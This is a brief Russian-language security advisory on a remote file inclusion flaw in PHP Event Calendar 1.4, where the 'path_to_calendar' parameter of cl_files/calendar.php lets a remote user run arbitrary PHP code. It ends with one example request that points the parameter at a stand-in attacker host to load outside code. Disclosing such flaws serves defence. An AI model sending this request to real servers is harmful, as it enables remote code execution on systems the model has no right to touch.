Программа: PHP Event Calendar 1.4, возможно другие версии. 

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре «path_to_calendar» в сценарии cl_files/calendar.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. 

Пример:

http://victim/path_to_cl_files/calendar.php?path_to_calendar=http://evilcode



Оставить мнение